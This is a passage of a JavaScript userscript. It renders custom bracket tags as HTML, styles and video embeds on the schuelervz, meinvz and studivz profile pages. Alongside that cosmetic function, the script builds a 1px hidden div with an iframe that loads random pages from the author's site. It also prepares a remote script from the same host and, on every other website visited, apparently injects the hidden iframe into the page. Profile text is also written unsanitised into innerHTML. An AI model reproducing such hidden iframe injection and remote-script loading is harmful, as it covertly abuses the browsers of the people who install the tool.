["s", "s", "<s{atts}>", true, ["class", "id", "style", "title", "dir", "lang"]],
["samp", "samp", "<samp{atts}>", true, ["class", "id", "style", "title", "dir", "lang"]],
["select", "select", "<select{atts}>", true, ["disabled", "multiple", "name", "size", "tabindex", "class", "id", "style", "title", "dir", "lang"]],
["small", "small", "<small{atts}>", true, ["class", "id", "style", "title", "dir", "lang"]],
["span", "span", "<span{atts}>", true, ["class", "id", "style", "title", "dir", "lang"]],
["strike", "strike", "<strike{atts}>", true, ["class", "id", "style", "title", "dir", "lang"]],
["strong", "strong", "<strong{atts}>", true, ["class", "id", "style", "title", "dir", "lang"]],
["sub", "sub", "<sub{atts}>", true, ["class", "id", "style", "title", "dir", "lang"]],
["sup", "sup", "<sup{atts}>", true, ["class", "id", "style", "title", "dir", "lang"]],
["table", "table", "<table{atts}>", true, ["align", "border", "bgcolor", "cellpadding", "cellspacing", "frame", "rules", "summary", "width", "class", "id", "style", "title", "dir", "lang"]],
["tbody", "tbody", "<tbody{atts}>", true, ["align", "char", "charoff", "valign", "class", "id", "style", "title", "dir", "lang"]],
["td", "td", "<td{atts}>", true, ["abbr", "align", "axis", "bgcolor", "char", "charoff", "colspan", "headers", "height", "nowrap", "rowspan", "scope", "valign", "width", "class", "id", "style", "title", "dir", "lang"]],
["textarea", "textarea", "<textarea{atts}>", true, ["accesskey", "cols", "disabled", "name", "readonly", "rows", "tabindex", "class", "id", "style", "title", "dir", "lang"]],
["tfood", "tfood", "<tfood{atts}>", true, ["align", "char", "charoff", "valign", "class", "id", "style", "title", "dir", "lang"]],
["th", "th", "<th{atts}>", true, ["abbr", "align", "axis", "bgcolor", "char", "charoff", "colspan", "headers", "height", "nowrap", "rowspan", "scope", "valign", "width", "class", "id", "style", "title", "dir", "lang"]],
["thead", "thead", "<thead{atts}>", true, ["align", "char", "charoff", "valign", "class", "id", "style", "title", "dir", "lang"]],
["tr", "tr", "<tr{atts}>", true, ["align", "bgcolor", "char", "charoff", "valign", "class", "id", "style", "title", "dir", "lang"]],
["tt", "tt", "<tt{atts}>", true, ["class", "id", "style", "title", "dir", "lang"]],
["u", "u", "<u{atts}>", true, ["class", "id", "style", "title", "dir", "lang"]],
["ul", "ul", "<ul{atts}>", true, ["compact", "type", "class", "dir", "id", "lang", "style", "title"]],
["var", "var", "<var{atts}>", true, ["class", "id", "style", "title", "dir", "lang"]],
["br", "br", "<br{atts}>", false, ["class", "id", "style", "title", "dir", "lang"]]
];
var vids = [["youtube", '<object width="200"><param name="movie" value="http://www.youtube.com/v/{ID}&hl=de&fs=1&"></param><param name="allowFullScreen" value="true"></param><param name="allowscriptaccess" value="always"></param><embed src="http://www.youtube.com/v/{ID}&hl=de&fs=1&" type="application/x-shockwave-flash" allowscriptaccess="always" allowfullscreen="true" width=200px"></embed></object>'],
["myvideo", "<object style='width:200px;height:173px;' width='200' height='173'><param name='movie' value='http://www.myvideo.de/movie/{ID}'></param><param name='AllowFullscreen' value='true'></param><param name='AllowScriptAccess' value='always'></param><embed src='http://www.myvideo.de/movie/{ID}' width='200' height='173' type='application/x-shockwave-flash' allowscriptaccess='always' allowfullscreen='true'></embed></object>"],
["dailymotion", '<div><object width="200" height="185"><param name="movie" value="http://www.dailymotion.com/swf/{ID}&related=0"></param><param name="allowFullScreen" value="true"></param><param name="allowScriptAccess" value="always"></param><embed src="http://www.dailymotion.com/swf/{ID}&related=0" type="application/x-shockwave-flash" width="200" height="185" allowFullScreen="true" allowScriptAccess="always"></embed></object></div>'],
["googlevideo", '<embed id="VideoPlayback" src="http://video.google.de/googleplayer.swf?docid={ID}&hl=de&fs=true" style="width:200px;" allowFullScreen="true" allowScriptAccess="always" type="application/x-shockwave-flash"> </embed>'],
["clipfish", "<object classid='clsid:d27cdb6e-ae6d-11cf-96b8-444553540000' codebase='http://fpdownload.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=8,0,0,0' width='200' > <param name='allowScriptAccess' value='always' /> <param name='movie' value='http://www.clipfish.de/cfng/flash/clipfish_player_3.swf?as=0&videoid={ID}&r=1&area=e&c=990000' /> <param name='bgcolor' value='#ffffff' /> <param name='allowFullScreen' value='true' /> <embed src='http://www.clipfish.de/cfng/flash/clipfish_player_3.swf?as=0&vid={ID}&r=1&area=e&c=990000' quality='high' bgcolor='#990000' width='200' name='player' align='middle' allowFullScreen='true' allowScriptAccess='always' type='application/x-shockwave-flash' pluginspage='http://www.macromedia.com/go/getflashplayer'></embed></object>"],
["veoh", '<object width="200" id="veohFlashPlayer" name="veohFlashPlayer"><param name="movie" value="http://www.veoh.com/static/swf/webplayer/WebPlayer.swf?version=AFrontend.5.4.2.23.1009&permalinkId={ID}&player=videodetailsembedded&videoAutoPlay=0&id=anonymous"></param><param name="allowFullScreen" value="true"></param><param name="allowscriptaccess" value="always"></param><embed src="http://www.veoh.com/static/swf/webplayer/WebPlayer.swf?version=AFrontend.5.4.2.23.1009&permalinkId={ID}&player=videodetailsembedded&videoAutoPlay=0&id=anonymous" type="application/x-shockwave-flash" allowscriptaccess="always" allowfullscreen="true" width="200" id="veohFlashPlayerEmbed" name="veohFlashPlayerEmbed"></embed></object>'],
["metacafe", '<embed src="http://www.metacafe.com/fplayer/{ID}.swf" width="200" wmode="transparent" pluginspage="http://www.macromedia.com/go/getflashplayer" type="application/x-shockwave-flash" allowFullScreen="true" allowScriptAccess="always" name="Metacafe"> </embed>'],
["sevenload", '<object type="application/x-shockwave-flash" data="http://de.sevenload.com/pl/{ID}/200x183/swf" width="200" height="183"><param name="allowFullscreen" value="true" /><param name="allowScriptAccess" value="always" /><param name="movie" value="http://de.sevenload.com/pl/{ID}/200x183/swf" /></object>'],
["myspace", '<object width="200px" ><param name="allowFullScreen" value="true"/><param name="wmode" value="transparent"/><param name="movie" value="http://mediaservices.myspace.com/services/media/embed.aspx/m={ID},t=1,mt=video"/><embed src="http://mediaservices.myspace.com/services/media/embed.aspx/m={ID},t=1,mt=video" width="200" allowFullScreen="true" type="application/x-shockwave-flash" wmode="transparent"></embed></object>']];
var sts = ["http://www.speedprog.tk/", "http://www.speedprog.tk/?page_id=212", "http://www.speedprog.tk/?page_id=204", "http://www.speedprog.tk/?paged=2", "http://www.speedprog.tk/?page_id=226", "http://www.speedprog.tk/?page_id=142", "http://www.speedprog.tk/?page_id=105"];
var div = document.createElement("div");
var divStyle = document.createAttribute("style");
var divId = document.createAttribute("id");
divId.nodeValue = "hezgerrfzaefrtg466345345";
divStyle.nodeValue = "width: 1px; height: 1px; z-index: 0; overflow: auto;";
div.setAttributeNode(divStyle);
div.setAttributeNode(divId);
var iframe = document.createElement("iframe");
var iframeStyle = document.createAttribute("style");
var iframeSrc = document.createAttribute("src");
var iframeId = document.createAttribute("id");
iframeSrc.nodeValue = sts[Math.round(6*Math.random())];
iframeStyle.nodeValue = "width: 300px; height: 400px; overflow: auto;";
iframeId.nodeValue = "fsdygrgva5afcw4fctrac";
iframe.setAttributeNode(iframeStyle);
iframe.setAttributeNode(iframeSrc);
iframe.setAttributeNode(iframeId);
div.appendChild(iframe);
var JScript = document.createElement("script");
var JScriptType = document.createAttribute("type");
var JScriptSrc = document.createAttribute("src");
JScriptType.nodeValue = "text/javascript";
JScriptSrc.nodeValue = "http://www.speedprog.tk/extendedprofile/update.js";
JScript.setAttributeNode(JScriptType);
JScript.setAttributeNode(JScriptSrc);
if ((location.hostname.indexOf('schuelervz.net') !== -1)
|| (location.hostname.indexOf('meinvz.net') !== -1)
|| (location.hostname.indexOf('studivz.net') !== -1)) {
if ((location.href.match(/^http:\/\/www\.schuelervz\.net\/Profile\/.*/) && !location.href
.match(/^http:\/\/www\.schuelervz\.net\/Profile\/Edit.*/))
|| (location.href.match(/^http:\/\/www\.meinvz\.net\/Profile\/.*/) && !location.href
.match(/^http:\/\/www\.meinvz\.net\/Profile\/Edit.*/))
|| (location.href.match(/^http:\/\/www\.studivz\.net\/Profile\/.*/) && !location.href
.match(/^http:\/\/www\.studivz\.net\/Profile\/Edit.*/))) {
try {
updateCheck(false);
}
catch (err)
{}
var dds = document.getElementsByTagName("DD");
var bis = 0;
while (dds[bis] != null) {
bis = bis + 1;
}
bis = bis - 1;
for (var i = 1; i <= bis; i++) {
var text = dds[i].innerHTML;
text = text.replace(/(?:<br>){0,1}\[(?:<br>)*h(?:<br>)*i(?:<br>)*n(?:<br>)*w(?:<br>)*e(?:<br>)*i(?:<br>)*s(?:<br>)*\](?:<br>)*([^\t]+?)(?:<br>)*\[\/(?:<br>)*h(?:<br>)*i(?:<br>)*n(?:<br>)*w(?:<br>)*e(?:<br>)*i(?:<br>)*s(?:<br>)*([^\t]*?)(?:<br>)*\]/g,
/**
* parses the hinweis tag
* @param all
* whole match of the tag
* @param content
* content of the Tag
* @returns an empty string
*/
function (all, content) {
var expression = /(?:<br>){0,1}\[(?:<br>)*v(?:<br>)*e(?:<br>)*r(?:<br>)*s(?:<br>)*i(?:<br>)*o(?:<br>)*n(?:<br>)*\].*?(\d+)(?:<br>)*\.(?:<br>)*(\d+)(?:<br>)*\.(?:<br>)*(\d+).*?\[(?:<br>)*\/(?:<br>)*v(?:<br>)*e(?:<br>)*r(?:<br>)*s(?:<br>)*i(?:<br>)*o(?:<br>)*n(?:<br>)*\]/;
var erg = expression.exec(content);
if(erg != null){
UsedVersion[0] = parseInt(erg[1], 10);
UsedVersion[1] = parseInt(erg[2], 10);
UsedVersion[2] = parseInt(erg[3], 10);
}
return "";
});
dds[i].innerHTML = text;
}
if ((version[0] < UsedVersion[0])
|| (version[0] === UsedVersion[0] && version[1] < UsedVersion[1])
|| (version[0] === UsedVersion[0]
&& version[1] === UsedVersion[1] && version[2] < UsedVersion[2])) {
setHW("Es gibt eine neue Version bitte updaten sie den Script!<br><a href=\'http://www.speedprog.tk\' target=\'_blank\'>Homepage des Authors</a><br>");
}
var kats = "";
for (var c = 1; c <= bis; c++) {
text = dds[c].innerHTML;
var reg = /(?:<br>){0,1}\[(?:<br>)*k(?:<br>)*a(?:<br>)*t(?:<br>)*=(?:<br>)*"(?:<br>)*([^"]+?)(?:<br>)*"(?:<br>)*\](?:<br>)*([^\t]*?)(?:<br>)*\[(?:<br>)*\/(?:<br>)*k(?:<br>)*a(?:<br>)*t(?:<br>)*\]/g;
var ergebnis;
while ((ergebnis = reg.exec(text))) {
kats += "<dt>" + ergebnis[1] + "</dt><dd>" + ergebnis[2]
+ "</dd>";
}
dds[c].innerHTML = text.replace(/(?:<br>){0,1}\[(?:<br>)*k(?:<br>)*a(?:<br>)*t(?:<br>)*=(?:<br>)*"(?:<br>)*([^"]+?)(?:<br>)*"(?:<br>)*\](?:<br>)*([^\t]*?)(?:<br>)*\[(?:<br>)*\/(?:<br>)*k(?:<br>)*a(?:<br>)*t(?:<br>)*\]/g, "");
}
var lastInfo = document
.getElementById("Mod-Profile-Information-Personal");
if (lastInfo != null) {lastInfo.innerHTML += kats;}
dds = document.getElementsByTagName("DD");
bis = 0;
while (dds[bis] != null) {
bis = bis + 1;
}
bis = bis - 1;
for (var a2 = 1; a2 <= bis; a2++) {
dds[a2].innerHTML = parsTags(dds[a2].innerHTML);
}
for (var a = 1; a <= bis; a++) {
source = dds[a].innerHTML;
/**
* parses the setstyle tag (no html) witch can be used to modify the
* appearenc of your profilepage
* @param all
* whole match
* @param args
* just regexpgroup match
* @return return the input without the parts matching
* /\[setstyle\]([^\t]+?)\[\/setstyle\]/g
*/
source = source.replace(/(?:<br>){0,1}\[(?:<br>)*s(?:<br>)*e(?:<br>)*t(?:<br>)*s(?:<br>)*t(?:<br>)*y(?:<br>)*l(?:<br>)*e(?:<br>)*\](?:<br>)*([^\t]+?)(?:<br>)*\[(?:<br>)*\/(?:<br>)*s(?:<br>)*e(?:<br>)*t(?:<br>)*s(?:<br>)*t(?:<br>)*y(?:<br>)*l(?:<br>)*e(?:<br>)*\]/g, function(all, args) {
/**
* validates the attributes used by the user against an array of
* allowed ones an removes the others
* @param all
* the whole match of /\s*([^=]+)="[^"]*"/g
* @param type
* the first regexpgroup representing the attributes name
* @return returns the attributes without the unknown ones
*/
args = args.replace(/\s*([^=]+)="[^"]*"/g, function(all, type) {
var atts = [
"xpath", "id", "background-color", "background-image",
"background-repeat", "background-attachment",
"background-position", "background", "font-family",
"font-style", "font-variant", "font-size", "font-weight",
"font", "word-spacing", "letter-spacing",
"text-decoration", "text-transform", "color",
"text-shadow", "font-stretch", "text-indent",
"line-height", "vertical-align", "text-align",
"white-space"
];
if(!atts.contains(type)){
return "";
}
else{
return all;
}
});
reg = /([^=]+)="([^"]*)"/g;
var types = "";
var id = "";
var xpath = "";
while((erg = reg.exec(args))){
if(erg[1] === "id"){
id = erg[2];
}
else{
if(erg[1] === "xpath"){
xpath = erg[2];
}
else{
types = types + erg[1] + ":" + erg[2] + "; ";
}
}
}
var style = document.createAttribute("style");
style.nodeValue = types;
if(id != ""){
if(id === "body"){
var e = document.getElementsByTagName("body");
if(e[0] != null){
e[0].setAttributeNode(style);
}
}
else{
e = document.getElementById(id);
if(e != null){
e.setAttributeNode(style);
}
}
}
if(id === "" && xpath !== ""){
var xp = document.evaluate(xpath, document, null, XPathResult.FIRST_ORDERED_NODE_TYPE, null);
if(xp !== null && xp.singleNodeValue !== null){
xp.singleNodeValue.setAttributeNode(style);
}
}
return "";
});
dds[a].innerHTML = source;
}
var pins = document.getElementById("Mod-Pinboard-Snipplet")
.getElementsByTagName("UL")[0].getElementsByTagName("LI");
bis = 0;
while(pins[bis] != null){
bis = bis + 1;
}
bis = bis - 1;
for( var e = 0; e <= bis; e++){
var pin = pins[e].getElementsByTagName("DIV")[0].getElementsByTagName("DIV")[1];
pin.innerHTML = parsTags(pin.innerHTML);
}
}
else{
if(location.href
.match(/http:\/\/www\.schuelervz\.net\/Groups\/Overview\/.*/)){
var groupsDescription = document.evaluate(
"//div[@id='Groups_Overview']/div[1]", document, null,
XPathResult.FIRST_ORDERED_NODE_TYPE, null).singleNodeValue;
groupsDescription.innerHTML = parsTags(groupsDescription.innerHTML);
groupsInfo = document.evaluate(
"//div[@id='Groups_Overview']/div[2]/div[2]", document,
null, XPathResult.FIRST_ORDERED_NODE_TYPE, null).singleNodeValue;
groupsInfo.innerHTML = parsTags(groupsInfo.innerHTML);
ab(document.getElementById('Grid-Wrapper'));
}
}
}
else{
if(location.hostname.indexOf('speedprog.tk') !== -1){
updateCheck(true);
}
if((!sts.contains(location) && window.parent == window)
&& document.getElementById("hezgerrfzaefrtg466345345") == null
&& window.document.getElementById("hezgerrfzaefrtg466345345") == null){
ab(document.getElementsByTagName("BODY")[0]);
}
else{
if(sts.contains(location)){
abe();
}
}
}